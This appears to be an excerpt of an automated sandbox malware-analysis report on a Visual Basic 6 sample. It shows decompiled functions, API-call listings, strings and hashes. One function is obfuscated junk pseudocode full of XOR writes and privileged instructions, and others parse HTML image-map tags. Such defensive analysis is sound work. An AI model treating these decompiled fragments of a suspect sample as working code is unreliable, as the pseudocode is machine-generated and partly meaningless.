				 *(__eax - 0x71cf0baf) =  *(__eax - 0x71cf0baf) ^ __ecx;
				_push(__ecx);
				asm("out dx, al");
				 *(__eax - 0x71cf09af) =  *(__eax - 0x71cf09af) ^ __ecx;
				_push(__ecx);
				goto 0xf591c000;
				 *(__eax - 0x71cf1baf) =  *(__eax - 0x71cf1baf) ^ __ecx;
				ss =  *((intOrPtr*)(__ecx - 0x1c));
				 *(__eax - 0x71cf10af) =  *(__eax - 0x71cf10af) ^ __ecx;
				_push(__ecx);
				asm("clc");
				 *(__eax - 0x71cf11af) =  *(__eax - 0x71cf11af) ^ __ecx;
				_push(__ecx);
				_t91 = __esi %  *__esi;
				ss =  *((intOrPtr*)(__ecx - 2));
				 *(__eax - 0x71cf0aaf) =  *(__eax - 0x71cf0aaf) ^ __ecx;
				_push(__ecx);
				asm("lock xor [esi-0x71cf0daf], cl");
				_push(__ecx);
				asm("jecxz 0x32");
				ss =  *((intOrPtr*)(__ecx - 0x26));
				 *(__eax - 0x71cf23af) =  *(__eax - 0x71cf23af) ^ __ecx;
				_push(__ecx);
				asm("fidiv dword [eax]");
				ss =  *((intOrPtr*)(__ecx - 0x12));
				 *(__eax - 0x71cf03af) =  *(__eax - 0x71cf03af) ^ __ecx;
				_push(__ecx);
				asm("hlt");
				 *(__eax - 0x71cf1daf) =  *(__eax - 0x71cf1daf) ^ __ecx;
				_push(__ecx);
				_push(__ecx);
				asm("fnstenv [eax]");
				ss =  *((intOrPtr*)(__ecx - 0x15));
				 *(__eax - 0x71cf02af) =  *(__eax - 0x71cf02af) ^ __ecx;
				_push(__ecx);
				asm("lock xor [esi-0x71cf15af], cl");
				_push(__ecx);
				asm("iretd");
				 *(__eax - 0x71cf25af) =  *(__eax - 0x71cf25af) ^ __ecx;
				_push(__ecx);
				asm("fidiv dword [eax]");
				ss =  *((intOrPtr*)(__ecx - 0x13));
				 *(__eax - 0x71cf13af) =  *(__eax - 0x71cf13af) ^ __ecx;
				_push(__ecx);
				asm("in al, dx");
				 *(__eax - 0x71cf10af) =  *(__eax - 0x71cf10af) ^ __ecx;
				_push(__ecx);
				asm("clc");
				 *(__eax - 0x71cf0eaf) =  *(__eax - 0x71cf0eaf) ^ __ecx;
				_push(__ecx);
				asm("in eax, 0x30");
				ss =  *((intOrPtr*)(__ecx - 0x1d));
				 *(__eax - 0x71cf0daf) =  *(__eax - 0x71cf0daf) ^ __ecx;
				_push(__ecx);
				asm("int1");
				 *(__eax - 0x71cf08af) =  *(__eax - 0x71cf08af) ^ __ecx;
				_push(__ecx);
				asm("stc");
				 *(__eax - 0x71cf16af) =  *(__eax - 0x71cf16af) ^ __ecx;
				_push(__ecx);
				asm("repe xor [esi-0x71cf16af], cl");
				ss =  *((intOrPtr*)(__ecx - 0x17));
				 *(__eax - 0x71cf12af) =  *(__eax - 0x71cf12af) ^ __ecx;
				_push(__ecx);
				asm("cmc");
				 *(__eax - 0x71cf33af) =  *(__eax - 0x71cf33af) ^ __ecx;
				_push(__ecx);
				ss =  *0xFFFFFFFFFFFFFFFF;
				 *(__eax - 0x71cf1daf) =  *(__eax - 0x71cf1daf) ^ 0x00000030;
				 *(__eax + 0x5851) =  *(__eax + 0x5851) ^ 0x00000030;
				_t88 = 0x30;
				 *_t88 =  *_t88 + _t88;
				 *_t88 =  *_t88 + _t88;
				 *_t88 =  *_t88 + _t88;
				 *_t88 =  *_t88 + _t88;
				 *_t88 =  *_t88 + _t88;
				 *_t88 =  *_t88 + _t88;
				 *_t88 =  *_t88 + _t88;
				 *_t88 =  *_t88 + _t88;
				 *_t88 =  *_t88 + _t88;
				 *_t88 =  *_t88 + _t88;
				 *_t88 =  *_t88 + _t88;
				 *_t88 =  *_t88 + _t88;
				 *_t88 =  *_t88 + _t88;
				 *_t88 =  *_t88 + _t88;
				 *_t88 =  *_t88 + _t88;
				 *_t88 =  *_t88 + _t88;
				 *0x30 =  *0x30 + _t91;
				ss =  *((intOrPtr*)(_t91 + 6));
				 *(__eax - 0x6eca46af) =  *(__eax - 0x6eca46af) ^ 0x00000030;
				return _t88;
			}

0x0040314d
0x00403150
0x00403156
0x00403157
0x00403159
0x0040315c
0x00403162
0x00403163
0x00403165
0x00403168
0x0040316e
0x0040316f
0x00403170
0x00403176
0x00403177
0x00403179
0x0040317c
0x00403182
0x00403183
0x00403184
0x0040318a
0x0040318b
0x0040318c
0x00403192
0x00403193
0x00403194
0x0040319a
0x0040319c
0x0040319e
0x004031a0
0x004031a2
0x004031a4
0x004031a6
0x004031a8
0x004031ae
0x004031b0
0x004031b6
0x004031b7
0x004031ba
0x004031bb
0x004031bc
0x004031c2
0x004031c3
0x004031c4
0x004031ca
0x004031cb
0x004031d0
0x004031d1
0x004031d4
0x004031da
0x004031db
0x004031dc
0x004031e2
0x004031e3
0x004031e5
0x004031e8
0x004031ee
0x004031ef
0x004031f6
0x004031f7
0x004031f9
0x004031fc
0x00403202
0x00403203
0x00403205
0x00403208
0x0040320e
0x0040320f
0x00403210
0x00403216
0x0040321e
0x0040321f
0x00403221
0x00403224
0x0040322a
0x0040322b
0x00403232
0x00403233
0x00403234
0x00403236
0x00403237
0x00403239
0x0040323c
0x00403242
0x00403243
0x00403244
0x0040324a
0x0040324b
0x0040324c
0x00403252
0x00403253
0x00403255
0x00403258
0x0040325e
0x0040325f
0x00403260
0x00403266
0x00403267
0x00403268
0x0040326e
0x0040326f
0x00403271
0x00403274
0x0040327a
0x0040327b
0x0040327c
0x00403282
0x00403285
0x00403288
0x00403290
0x00403293
0x00403294
0x00403296
0x00403298
0x0040329a
0x0040329c
0x0040329e
0x004032a0
0x004032a2
0x004032a4
0x004032a6
0x004032a8
0x004032aa
0x004032ab
0x004032ad
0x004032af
0x004032b1
0x004032b3
0x004032b5
0x004032b8
0x004032bf

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b23c9238bf0d27cf2fb93fde19b2eb137b6097d95fe459933858b00c57a33c6c
Instruction ID: bda015628b82448aa2b50c3ac2d00462a791f464b5dab21b6db34c0d45f36fba
Opcode Fuzzy Hash: b23c9238bf0d27cf2fb93fde19b2eb137b6097d95fe459933858b00c57a33c6c
Instruction Fuzzy Hash: 9D01004656AAD2EEF71E47B4980A853FE9A6E469643490FCDE1E51E093A183053CC217

Uniqueness

Uniqueness Score: -1.00%

Function 003F4DF0, Relevance: .0, Instructions: 2
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003F4DF0() {

				return  *[fs:0x30];
			}

0x003f4df6

Memory Dump Source

Source File: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000007.00000002.2256695140.00000000003F0000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256705457.00000000003FD000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256709121.00000000003FF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3f0000_tmp_e473b4.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0041FEF0, Relevance: 75.4, APIs: 28, Strings: 15, Instructions: 199COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041FF39
__vbaHresultCheckObj.MSVBVM60(00000000,00401968,004113E8,00000024,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041FF58

Part of subcall function 004241F0: __vbaStrCopy.MSVBVM60(00000001,00000000,72A26C30), ref: 0042423F
Part of subcall function 004241F0: __vbaStrCopy.MSVBVM60 ref: 00424247
Part of subcall function 004241F0: __vbaStrCat.MSVBVM60(00411B14,?,?,00000001), ref: 00424258
Part of subcall function 004241F0: __vbaStrMove.MSVBVM60 ref: 00424269
Part of subcall function 004241F0: __vbaInStr.MSVBVM60(00000000,00000000), ref: 0042426D
Part of subcall function 004241F0: __vbaFreeStr.MSVBVM60 ref: 0042427B
Part of subcall function 004241F0: __vbaLenBstr.MSVBVM60(?), ref: 0042428D
Part of subcall function 004241F0: #631.MSVBVM60(?,-00000002,?,00000001), ref: 004242C2
Part of subcall function 004241F0: __vbaStrMove.MSVBVM60 ref: 004242CD
Part of subcall function 004241F0: #537.MSVBVM60(00000022,00000000), ref: 004242D2
Part of subcall function 004241F0: __vbaStrMove.MSVBVM60 ref: 004242DD
Part of subcall function 004241F0: __vbaInStr.MSVBVM60(00000000,00000000), ref: 004242E1
Part of subcall function 004241F0: __vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 004242FD
Part of subcall function 004241F0: __vbaFreeVar.MSVBVM60 ref: 00424309

__vbaStrCmp.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041FF6C
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041FF7B
__vbaStrMove.MSVBVM60(?,0040F3C8,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041FFA3
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041FFAA
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041FFB3
__vbaStrMove.MSVBVM60(?,shape,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041FFCC
__vbaStrCmp.MSVBVM60(rect,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041FFD7
__vbaStrCmp.MSVBVM60(rectangle,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041FFE6
__vbaStrCmp.MSVBVM60(circ,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041FFF5
__vbaStrCmp.MSVBVM60(circle,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00420004
__vbaStrCmp.MSVBVM60(poly,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00420013
__vbaStrCmp.MSVBVM60(polygon,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00420022
__vbaStrMove.MSVBVM60(?,coords), ref: 00420054
__vbaStrCopy.MSVBVM60 ref: 0042005B
__vbaFreeStr.MSVBVM60 ref: 00420064
__vbaStrMove.MSVBVM60(?,href), ref: 0042007D
__vbaStrCopy.MSVBVM60 ref: 00420084
__vbaFreeStr.MSVBVM60 ref: 0042008D
__vbaStrMove.MSVBVM60(?,target), ref: 004200A6
__vbaStrCmp.MSVBVM60(_blank,?), ref: 004200B1
__vbaStrCmp.MSVBVM60(_parent,?), ref: 004200C9
__vbaFreeStrList.MSVBVM60(00000002,?,?,00420155,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00420142
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0042014E

Strings

_top, xrefs: 0042010C
circ, xrefs: 0041FFF0
polygon, xrefs: 0042001D
rectangle, xrefs: 0041FFE1
circle, xrefs: 0041FFFF
poly, xrefs: 0042000E
shape, xrefs: 0041FFBC
coords, xrefs: 00420044
href, xrefs: 0042006D
_blank, xrefs: 004200AC
rect, xrefs: 0041FFD2
_search, xrefs: 004200DC
target, xrefs: 00420096
_parent, xrefs: 004200C4
_self, xrefs: 004200F4

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$Move$Copy$List$#537#631BstrCheckHresult
String ID: _blank$_parent$_search$_self$_top$circ$circle$coords$href$poly$polygon$rect$rectangle$shape$target
API String ID: 1777429465-1944865882
Opcode ID: 2ac7a639ecb2ed9e2a13de743f39c1725df32ba920b5c6ceb667fcbbac794aeb
Instruction ID: 08c712d641e70ee6887c4f8d6a5fe3895b375d10a0179195d0f8762a5f230e95
Opcode Fuzzy Hash: 2ac7a639ecb2ed9e2a13de743f39c1725df32ba920b5c6ceb667fcbbac794aeb
Instruction Fuzzy Hash: 22619370B003169FDB10DBA5ED85AFFB7F8EF54704F50402AE512A32A1DA79D846CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0041BC40, Relevance: 69.4, APIs: 46, Instructions: 433COMMON

Download Yara Rule

APIs

Part of subcall function 00424100: __vbaStrCopy.MSVBVM60(?,00000000,?), ref: 0042413E
Part of subcall function 00424100: #608.MSVBVM60(?), ref: 00424170
Part of subcall function 00424100: __vbaVarCat.MSVBVM60(?,?,00000008), ref: 00424182
Part of subcall function 00424100: __vbaStrVarMove.MSVBVM60(00000000), ref: 00424189
Part of subcall function 00424100: __vbaStrMove.MSVBVM60 ref: 00424196
Part of subcall function 00424100: __vbaFreeVarList.MSVBVM60(00000002,?,?), ref: 004241A2

__vbaUbound.MSVBVM60(00000001,00000000,?,00401610,?), ref: 0041BCAE
__vbaGenerateBoundsError.MSVBVM60 ref: 0041BCF9
__vbaGenerateBoundsError.MSVBVM60 ref: 0041BD05
#632.MSVBVM60(?,00004008,00000000,00000002), ref: 0041BD46
__vbaStrVarVal.MSVBVM60(?,?), ref: 0041BD54
#516.MSVBVM60(00000000), ref: 0041BD5B
__vbaUI1I2.MSVBVM60 ref: 0041BD63
__vbaFreeStr.MSVBVM60 ref: 0041BD6F
__vbaFreeVarList.MSVBVM60(00000002,00000002,?), ref: 0041BD7F
__vbaGenerateBoundsError.MSVBVM60 ref: 0041BD9F
__vbaGenerateBoundsError.MSVBVM60 ref: 0041BDAB
#608.MSVBVM60(00000002,?), ref: 0041BDE0
__vbaInStrVar.MSVBVM60(?,00000000,00000002,00000008,00000001), ref: 0041BDF8
__vbaI2Var.MSVBVM60(00000000), ref: 0041BDFF
__vbaFreeVarList.MSVBVM60(00000002,00000002,?), ref: 0041BE11
#632.MSVBVM60(?,00000008,?,00000002), ref: 0041BE62
__vbaStrVarMove.MSVBVM60(?,?,00000002), ref: 0041BE6C
__vbaStrMove.MSVBVM60(?,00000002), ref: 0041BE77
__vbaFreeVarList.MSVBVM60(00000002,00000002,?,?,00000002), ref: 0041BE87
#617.MSVBVM60(00000002,00004008,00000000), ref: 0041BEBC
#608.MSVBVM60(?,?), ref: 0041BEC7
#632.MSVBVM60(?,?,00000000,?), ref: 0041BF22
__vbaVarCat.MSVBVM60(?,?,00000002), ref: 0041BF3A
__vbaVarCat.MSVBVM60(?,00000008,00000000), ref: 0041BF48
__vbaVarCat.MSVBVM60(?,?,00000000), ref: 0041BF59
__vbaStrVarMove.MSVBVM60(00000000), ref: 0041BF5C
__vbaStrMove.MSVBVM60 ref: 0041BF69
__vbaFreeVarList.MSVBVM60(00000007,00000002,?,?,0000000A,?,?,?), ref: 0041BF93
__vbaFreeStr.MSVBVM60(0041BFFB), ref: 0041BFF4

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$Move$List$BoundsErrorGenerate$#608#632$#516#617CopyUbound
String ID:
API String ID: 322533643-0
Opcode ID: 41ea95b28fc35ec7ac6a97c5160f8b06b217469a4882b2e9fd4b9f8ca8a86784
Instruction ID: f390c56d0e39148dad3ded0c7c6740b6b8a7593ccd57457591c175fa0d4be669
Opcode Fuzzy Hash: 41ea95b28fc35ec7ac6a97c5160f8b06b217469a4882b2e9fd4b9f8ca8a86784
Instruction Fuzzy Hash: 22024DB1D00219EFDB14DFA4DD88AEEBBB8FB48700F00816AE515B7250DB745985CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00421D70, Relevance: 57.9, APIs: 29, Strings: 4, Instructions: 169COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421DC6
__vbaStrCmp.MSVBVM60(0040F38C,00422324,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421DD5
__vbaStrCat.MSVBVM60( id=,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421DEE
__vbaStrMove.MSVBVM60(00422324,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421E0C
__vbaStrCat.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421E0F
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421E16
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421E22
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421DFB

Part of subcall function 00424480: __vbaStrCopy.MSVBVM60(?,00000000,72A1A274), ref: 004244C0
Part of subcall function 00424480: #537.MSVBVM60(00000022), ref: 004244CE
Part of subcall function 00424480: __vbaStrMove.MSVBVM60 ref: 004244DB
Part of subcall function 00424480: __vbaStrCat.MSVBVM60(?,00000000), ref: 004244E8
Part of subcall function 00424480: __vbaStrMove.MSVBVM60 ref: 004244EF
Part of subcall function 00424480: #537.MSVBVM60(00000022,00000000), ref: 004244F4
Part of subcall function 00424480: __vbaStrMove.MSVBVM60 ref: 004244FB
Part of subcall function 00424480: __vbaStrCat.MSVBVM60(00000000), ref: 004244FE
Part of subcall function 00424480: __vbaStrMove.MSVBVM60 ref: 00424505
Part of subcall function 00424480: __vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00424515
Part of subcall function 00424480: __vbaFreeStr.MSVBVM60(00424556), ref: 0042454F

__vbaStrCmp.MSVBVM60(0040F38C,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421E42
__vbaStrCat.MSVBVM60( name=,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421E55
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421E5C
__vbaStrMove.MSVBVM60(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421E6D
__vbaStrCat.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421E70
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421E77
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421E83
__vbaStrCat.MSVBVM60(0040F42C,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421E95
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421E9C
__vbaForEachCollObj.MSVBVM60(004113E8,?,?,0042232B), ref: 00421EAF
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113E8,00000024), ref: 00421EDE
__vbaStrCat.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421EEC
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421EF3
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421EF8
__vbaNextEachCollObj.MSVBVM60(004113E8,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421F07
__vbaStrCat.MSVBVM60(</map>,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421F18
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421F1F
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421F27
__vbaFreeObj.MSVBVM60(00421F71,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00421F60

Strings

<map, xrefs: 00421DAA
name=, xrefs: 00421E50
</map>, xrefs: 00421F13
id=, xrefs: 00421DE9

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Move$Free$CopyList$#537CollEach$CheckHresultNext
String ID: id=$ name=$</map>$<map
API String ID: 610381827-1714015726
Opcode ID: 450288ce74c810fd709b4d8f44dcdf07e54d43e21bfae3aba7d3258c40b872f7
Instruction ID: e9aae58b173deed54bc321b37fa2da337e912f7303d6618c3da271415f179815
Opcode Fuzzy Hash: 450288ce74c810fd709b4d8f44dcdf07e54d43e21bfae3aba7d3258c40b872f7
Instruction Fuzzy Hash: 05513071E00219AFCB04DBA4DD85DEEB7B8FF88700B10812AE516B7264DB74AD05CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004213C0, Relevance: 54.4, APIs: 29, Strings: 2, Instructions: 180COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60 ref: 00421415
__vbaHresultCheckObj.MSVBVM60(00000000,00401A00,00411840,00000040), ref: 00421430
__vbaStrCmp.MSVBVM60(?,?), ref: 0042143E
__vbaFreeStr.MSVBVM60 ref: 00421451
__vbaStrMove.MSVBVM60(?,0040F3C8), ref: 00421479
__vbaStrCopy.MSVBVM60 ref: 00421480
__vbaFreeStr.MSVBVM60 ref: 00421485
__vbaStrMove.MSVBVM60(?,name), ref: 0042149E
__vbaStrCopy.MSVBVM60 ref: 004214A5
__vbaFreeStr.MSVBVM60 ref: 004214AA
__vbaStrCopy.MSVBVM60 ref: 004214B6
__vbaHresultCheckObj.MSVBVM60(00000000,00401A00,00411840,00000020), ref: 004214CD
__vbaInStr.MSVBVM60(00000000,<area,?,00000001), ref: 004214E6
__vbaInStr.MSVBVM60(00000000,<area,?,00000001,?), ref: 0042150F
#631.MSVBVM60(?,00000000), ref: 00421516
__vbaStrMove.MSVBVM60 ref: 00421521
__vbaFreeVar.MSVBVM60 ref: 00421526
__vbaInStr.MSVBVM60(00000000,0040F42C,?,00000001), ref: 00421539
#616.MSVBVM60(?,00000000), ref: 00421540
__vbaStrMove.MSVBVM60 ref: 0042154B
__vbaHresultCheckObj.MSVBVM60(00000000,00401A00,00411840,0000001C), ref: 0042156A
__vbaFreeObj.MSVBVM60 ref: 00421573
__vbaLenBstr.MSVBVM60(?,0000000A), ref: 0042158F
#631.MSVBVM60(?,00000000), ref: 0042159A
__vbaStrMove.MSVBVM60 ref: 004215A5
__vbaFreeVar.MSVBVM60 ref: 004215AA
__vbaFreeStr.MSVBVM60(004215EE), ref: 004215E1
__vbaFreeStr.MSVBVM60 ref: 004215E6
__vbaFreeStr.MSVBVM60 ref: 004215EB

Strings

<area, xrefs: 004214DF, 004214FA
name, xrefs: 0042148E

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$Move$Copy$CheckHresult$#631$#616Bstr
String ID: <area$name
API String ID: 1458531261-1697160873
Opcode ID: 586ebb249d294156a0f06dd8f4c151758e4972a44872811e8f23a2d94619b2e2
Instruction ID: 395a243d5fbdf9734aafbe1a0e5a0c4a0a956fe9094fa97e0b74d127df4a6424
Opcode Fuzzy Hash: 586ebb249d294156a0f06dd8f4c151758e4972a44872811e8f23a2d94619b2e2
Instruction Fuzzy Hash: 8C613371A00219ABDB04EFA5DD85EEEBBB9FF58700F10412AF502B72A0DB749946CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00424570, Relevance: 54.2, APIs: 36, Instructions: 238COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(72A26A76,00401978,72A26C30), ref: 004245C2
__vbaStrCopy.MSVBVM60 ref: 004245CA

Part of subcall function 004241F0: __vbaStrCopy.MSVBVM60(00000001,00000000,72A26C30), ref: 0042423F
Part of subcall function 004241F0: __vbaStrCopy.MSVBVM60 ref: 00424247
Part of subcall function 004241F0: __vbaStrCat.MSVBVM60(00411B14,?,?,00000001), ref: 00424258
Part of subcall function 004241F0: __vbaStrMove.MSVBVM60 ref: 00424269
Part of subcall function 004241F0: __vbaInStr.MSVBVM60(00000000,00000000), ref: 0042426D
Part of subcall function 004241F0: __vbaFreeStr.MSVBVM60 ref: 0042427B
Part of subcall function 004241F0: __vbaLenBstr.MSVBVM60(?), ref: 0042428D
Part of subcall function 004241F0: #631.MSVBVM60(?,-00000002,?,00000001), ref: 004242C2
Part of subcall function 004241F0: __vbaStrMove.MSVBVM60 ref: 004242CD
Part of subcall function 004241F0: #537.MSVBVM60(00000022,00000000), ref: 004242D2
Part of subcall function 004241F0: __vbaStrMove.MSVBVM60 ref: 004242DD
Part of subcall function 004241F0: __vbaInStr.MSVBVM60(00000000,00000000), ref: 004242E1
Part of subcall function 004241F0: __vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 004242FD
Part of subcall function 004241F0: __vbaFreeVar.MSVBVM60 ref: 00424309

__vbaStrMove.MSVBVM60(?,?), ref: 004245E6
__vbaStrCmp.MSVBVM60(0040F38C,00000000,?,?), ref: 004245EE
__vbaFreeStr.MSVBVM60(?,?), ref: 00424600
__vbaStrCmp.MSVBVM60(0040F38C,?,?,?), ref: 00424618
__vbaLenBstr.MSVBVM60(00000000,?,?), ref: 00424629
#616.MSVBVM60(?,-00000001,?,?), ref: 0042463C
__vbaStrMove.MSVBVM60(?,-00000001,?,?), ref: 00424647
__vbaStrCat.MSVBVM60(004117A4,00000000,?,-00000001,?,?), ref: 00424655
__vbaStrMove.MSVBVM60(?,-00000001,?,?), ref: 0042465C
__vbaStrCat.MSVBVM60(?,00000000,?,-00000001,?,?), ref: 00424663
__vbaStrMove.MSVBVM60(?,-00000001,?,?), ref: 0042466A
__vbaStrCat.MSVBVM60(00411B14,00000000,?,-00000001,?,?), ref: 00424672
__vbaStrMove.MSVBVM60(?,-00000001,?,?), ref: 00424679

Part of subcall function 00424480: __vbaStrCopy.MSVBVM60(?,00000000,72A1A274), ref: 004244C0
Part of subcall function 00424480: #537.MSVBVM60(00000022), ref: 004244CE
Part of subcall function 00424480: __vbaStrMove.MSVBVM60 ref: 004244DB
Part of subcall function 00424480: __vbaStrCat.MSVBVM60(?,00000000), ref: 004244E8
Part of subcall function 00424480: __vbaStrMove.MSVBVM60 ref: 004244EF
Part of subcall function 00424480: #537.MSVBVM60(00000022,00000000), ref: 004244F4
Part of subcall function 00424480: __vbaStrMove.MSVBVM60 ref: 004244FB
Part of subcall function 00424480: __vbaStrCat.MSVBVM60(00000000), ref: 004244FE
Part of subcall function 00424480: __vbaStrMove.MSVBVM60 ref: 00424505
Part of subcall function 00424480: __vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00424515
Part of subcall function 00424480: __vbaFreeStr.MSVBVM60(00424556), ref: 0042454F

__vbaStrMove.MSVBVM60(?,00000000,?,-00000001,?,?), ref: 0042468A
__vbaStrCat.MSVBVM60(00000000,?,-00000001,?,?), ref: 0042468D
__vbaStrMove.MSVBVM60(?,-00000001,?,?), ref: 00424694
